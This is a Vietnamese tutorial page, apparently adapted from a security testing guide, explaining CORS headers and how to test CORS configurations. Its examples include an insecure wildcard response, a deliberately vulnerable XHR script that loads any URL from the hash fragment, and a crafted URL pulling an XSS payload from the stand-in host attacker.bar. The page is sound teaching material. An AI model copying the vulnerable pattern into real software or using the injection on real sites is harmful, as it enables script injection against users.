Rate this post

Cross origin resource sharing (CORS) là một cơ chế cho phép trình duyệt web thực hiện các yêu cầu miền chéo bằng cách sử dụng API XMLHttpRequest L2 một cách có kiểm soát. Trước đây, API XMLHttpRequest L1 chỉ cho phép gửi các yêu cầu trong cùng nguồn gốc vì nó bị hạn chế bởi chính sách gốc.

Yêu cầu gốc chéo có tiêu đề gốc xác định miền khởi tạo yêu cầu và luôn được gửi đến máy chủ. CORS xác định giao thức sử dụng giữa trình duyệt web và máy chủ để xác định xem có cho phép yêu cầu nguồn gốc chéo hay không. Tiêu đề HTTP được sử dụng để thực hiện điều này.

CORS là gì?

CORS (Cross-Origin Resource Sharing) là một chính sách bảo mật được sử dụng trong môi trường web để giới hạn truy cập tài nguyên từ các nguồn gốc khác nhau. Trong môi trường web, một trang web có thể gọi tài nguyên từ cùng một nguồn gốc (origin) mà nó được tải từ, nhưng khi trang web cố gắng gọi tài nguyên từ một nguồn gốc khác, trình duyệt sẽ áp dụng chính sách Same-Origin Policy và chặn yêu cầu truy cập đó. CORS cho phép một trang web yêu cầu tài nguyên từ một nguồn gốc khác một cách an toàn và kiểm soát.

CORS định rõ quyền truy cập giữa các tên miền khác nhau, cho phép một trang web yêu cầu và nhận phản hồi từ các nguồn gốc khác mà nó không được tải từ ban đầu. Điều này rất hữu ích khi xây dựng các ứng dụng web đa nền tảng và chia sẻ tài nguyên giữa các miền khác nhau.

CORS hoạt động dựa trên sự tương tác giữa trình duyệt và máy chủ. Trình duyệt sẽ gửi một yêu cầu truy cập tài nguyên từ một nguồn gốc khác và máy chủ sẽ phản hồi với một header chứa thông tin về chính sách cho phép truy cập từ nguồn gốc đó. Nếu trình duyệt đồng ý với chính sách đó, yêu cầu sẽ được tiếp tục và truy cập tài nguyên sẽ được thực hiện.

CORS đã trở thành một phần quan trọng trong phát triển ứng dụng web hiện đại, giúp giải quyết các vấn đề liên quan đến truy cập tài nguyên từ các nguồn gốc khác nhau và cung cấp một cách an toàn và kiểm soát để chia sẻ tài nguyên giữa các miền khác nhau.

Thông số kỹ thuật W3C CORS quy định rằng đối với các yêu cầu không đơn giản, chẳng hạn như các yêu cầu không phải là GET hoặc POST hoặc các yêu cầu sử dụng thông tin đăng nhập, yêu cầu TÙY CHỌN trước chuyến bay phải được gửi trước để kiểm tra xem loại yêu cầu có tác động xấu đến dữ liệu. Yêu cầu trước chuyến bay kiểm tra các phương thức và tiêu đề được máy chủ cho phép và thông tin xác thực có được phép hay không. Dựa trên kết quả của yêu cầu OPTIONS, trình duyệt quyết định liệu yêu cầu có được phép hay không.

Xem thêm Tìm hiểu CORS OriginHeaderScrutiny attack

Origin & Access-Control-Allow-Origin

Tiêu đề gốc luôn được gửi bởi trình duyệt trong một yêu cầu CORS và cho biết nguồn gốc của yêu cầu. Không thể thay đổi tiêu đề gốc từ JavaScript tuy nhiên dựa vào tiêu đề này để kiểm tra Kiểm soát truy cập không phải là ý kiến ​​hay vì nó có thể bị giả mạo bên ngoài trình duyệt, vì vậy bạn vẫn cần kiểm tra xem các giao thức cấp ứng dụng có được sử dụng để bảo vệ dữ liệu nhạy cảm hay không.

Access-Control-Allow-Origin là một tiêu đề phản hồi được sử dụng bởi máy chủ để cho biết miền nào được phép đọc phản hồi. Dựa trên Thông số kỹ thuật CORS W3, khách hàng phải xác định và thực thi giới hạn về việc liệu khách hàng có quyền truy cập vào dữ liệu phản hồi dựa trên tiêu đề này hay không.

Từ góc độ kiểm tra thâm nhập, bạn nên tìm kiếm các cấu hình không an toàn, chẳng hạn như sử dụng ký tự đại diện * làm giá trị của tiêu đề Access-Control-Allow-Origin, nghĩa là tất cả các miền đều được phép. Ví dụ không an toàn khác là khi máy chủ trả lại tiêu đề gốc mà không có bất kỳ kiểm tra bổ sung nào, điều gì có thể dẫn đến việc truy cập dữ liệu nhạy cảm. Lưu ý rằng cấu hình này rất không an toàn và không được chấp nhận trong điều kiện chung, ngoại trừ trường hợp một API công khai nhằm mục đích mọi người đều có thể truy cập được.

Access-Control-Request-Method & Access-Control-Allow-Method

Tiêu đề Access-Control-Request-Method được sử dụng khi trình duyệt thực hiện một yêu cầu TÙY CHỌN trước và cho phép khách hàng chỉ ra phương thức yêu cầu của yêu cầu cuối cùng. Mặt khác, Access-Control-Allow-Method là một tiêu đề phản hồi được máy chủ sử dụng để mô tả các phương pháp mà máy khách được phép sử dụng.

Access-Control-Request-Headers & Access-Control-Allow-Headers

Hai tiêu đề này được sử dụng giữa trình duyệt và máy chủ để xác định tiêu đề nào có thể được sử dụng để thực hiện yêu cầu nguồn gốc chéo.

Access-Control-Allow-Credentials

Tiêu đề này là một phần của yêu cầu preflight cho biết rằng yêu cầu cuối cùng có thể bao gồm thông tin đăng nhập của người dùng.

Xác thực đầu vào

XMLHttpRequest L2 (hoặc XHR L2) giới thiệu khả năng tạo yêu cầu tên miền chéo bằng cách sử dụng API XHR để tương thích ngược. Điều này có thể tạo ra các lỗ hổng bảo mật mà trong XHR L1 không có. Điểm thú vị của mã để khai thác là các URL được chuyển đến XMLHttpRequest mà không cần xác thực, đặc biệt nếu các URL tuyệt đối được cho phép vì điều đó có thể dẫn đến chèn mã. Tương tự như vậy, phần khác của ứng dụng có thể bị khai thác là nếu dữ liệu phản hồi không bị thoát và chúng tôi có thể kiểm soát nó bằng cách cung cấp đầu vào do người dùng cung cấp.

Các tiêu đề khác

Có các tiêu đề khác có liên quan như Access-Control-Max-Age xác định thời gian một yêu cầu preflight có thể được lưu trong trình duyệt hoặc Access-Control-Expose-Headers cho biết tiêu đề nào an toàn để hiển thị với API của API CORS đặc điểm kỹ thuật, cả hai đều là tiêu đề phản hồi được chỉ định trong tài liệu CORS W3C.

Xem thêm Selenium WebDriver – tạo một test case đầu tiên

Nguyên tắc hoạt động của CORS

CORS (Cross-Origin Resource Sharing) hoạt động dựa trên việc thiết lập và xử lý các header HTTP giữa trình duyệt và máy chủ để quy định quyền truy cập tài nguyên từ các nguồn gốc khác nhau. Dưới đây là các nguyên tắc hoạt động của CORS:

  1. Quyền truy cập từ nguồn gốc khác: Khi trình duyệt gửi một yêu cầu từ một nguồn gốc khác, trình duyệt sẽ tự động thêm một header “Origin” vào yêu cầu, chứa địa chỉ nguồn gốc của yêu cầu đó.
  2. Xác định chính sách truy cập: Máy chủ sẽ xử lý yêu cầu và quyết định chính sách truy cập dựa trên thông tin trong header “Origin” và cấu hình máy chủ. Máy chủ có thể phản hồi bằng cách gửi header “Access-Control-Allow-Origin” để cho phép truy cập từ nguồn gốc được chỉ định.
  3. Kiểm tra chính sách truy cập: Trình duyệt sẽ kiểm tra header “Access-Control-Allow-Origin” trong phản hồi từ máy chủ để xác định xem yêu cầu có được phép truy cập tài nguyên từ nguồn gốc đó hay không. Nếu header này không tồn tại hoặc không khớp với nguồn gốc của yêu cầu, trình duyệt sẽ chặn yêu cầu và không cho phép truy cập tài nguyên.
  4. Quyền truy cập với phương thức và header tùy chỉnh: Ngoài việc xác định quyền truy cập từ nguồn gốc, CORS cũng hỗ trợ quyền truy cập với các phương thức HTTP và header tùy chỉnh. Máy chủ có thể cấu hình để cho phép truy cập tài nguyên với các phương thức và header tùy chỉnh thông qua các header như “Access-Control-Allow-Methods” và “Access-Control-Allow-Headers”.
  5. Xử lý truy cập không được phép: Trình duyệt sẽ xử lý các truy cập không được phép bằng cách chặn yêu cầu và gửi một lỗi CORS. Ngoại lệ có thể được ném ra trong mã JavaScript khi truy cập bị chặn, cho phép lập trình viên xử lý lỗi một cách tùy chỉnh.

CORS là một công cụ quan trọng để bảo vệ an ninh và kiểm soát truy cập tài nguyên trong môi trường web. Nó giúp đảm bảo rằng truy cập từ các nguồn gốc không đáng tin cậy không thể truy cập vào tài nguyên quan trọng trên trang web, đồng thời cho phép truy cập từ các nguồn gốc được phép mà không gặp phải hạn chế.

Mục tiêu kiểm tra

Xác định các điểm cuối thực hiện CORS.

Đảm bảo rằng cấu hình CORS an toàn hoặc vô hại.

Làm thế nào để kiểm tra

Một công cụ như ZAP có thể cho phép người kiểm tra chặn tiêu đề HTTP, điều này có thể tiết lộ cách CORS được sử dụng. Người kiểm tra nên đặc biệt chú ý đến tiêu đề gốc để tìm hiểu miền nào được phép. Ngoài ra, cần kiểm tra thủ công JavaScript để xác định xem mã có dễ bị chèn mã do xử lý không đúng đầu vào do người dùng cung cấp hay không. Dưới đây là một số ví dụ:

Ví dụ 1: Phản hồi không an toàn với ký tự đại diện * trong Access-Control-Allow-Origin

GET /test.php HTTP/1.1
Host: attacker.bar
[...]
Referer: http://example.foo/CORSexample1.html
Origin: http://example.foo
Connection: keep-alive

Phản hồi (lưu ý tiêu đề ‘Access-Control-Allow-Origin’ 🙂

HTTP/1.1 200 OK
[...]
Access-Control-Allow-Origin: *
Content-Length: 4
Content-Type: application/xml

[Response Body]

Ví dụ 2: Vấn đề xác thực đầu vào: XSS với CORS

Mã này tạo ra một tiếng gọi lại tới tài nguyên được truyền sau ký tự # trong URL, ban đầu được sử dụng để lấy tài nguyên trong cùng một máy chủ.Mã dễ bị tổn thương:

<script>
    var req = new XMLHttpRequest();

    req.onreadystatechange = function() {
        if(req.readyState==4 && req.status==200) {
            document.getElementById("div1").innerHTML=req.responseText;
        }
    }

    var resource = location.hash.substring(1);
    req.open("GET",resource,true);
    req.send();
</script>

<body>
    <div id="div1"></div>
</body>

Ví dụ: một yêu cầu như thế này sẽ hiển thị nội dung của tệp profile.php:

http://example.foo/main.php#profile.php

Yêu cầu và phản hồi được tạo bởi http://example.foo/profile.php:

GET /profile.php HTTP/1.1
Host: example.foo
[...]
Referer: http://example.foo/main.php
Connection: keep-alive

HTTP/1.1 200 OK
[...]
Content-Length: 25
Content-Type: text/html

[Response Body]

Bây giờ, vì không có xác thực URL, chúng tôi có thể đưa vào một tập lệnh từ xa, tập lệnh này sẽ được đưa vào và thực thi trong ngữ cảnh của miền example.foo, với một URL như sau:

http://example.foo/main.php#http://attacker.bar/file.php

Yêu cầu và phản hồi được tạo bởi http://attacker.bar/file.php:

GET /file.php HTTP/1.1
Host: attacker.bar
[...]
Referer: http://example.foo/main.php
origin: http://example.foo

HTTP/1.1 200 OK
[...]
Access-Control-Allow-Origin: *
Content-Length: 92
Content-Type: text/html

Injected Content from attacker.bar <img src="#" onerror="alert('Domain: '+document.domain)">

Xem thêm Selenium WebDriver- hướng dẫn testing trên trình duyệt web

Để lại một bình luận

Email của bạn sẽ không được hiển thị công khai. Các trường bắt buộc được đánh dấu *

Contact Me on Zalo
Call now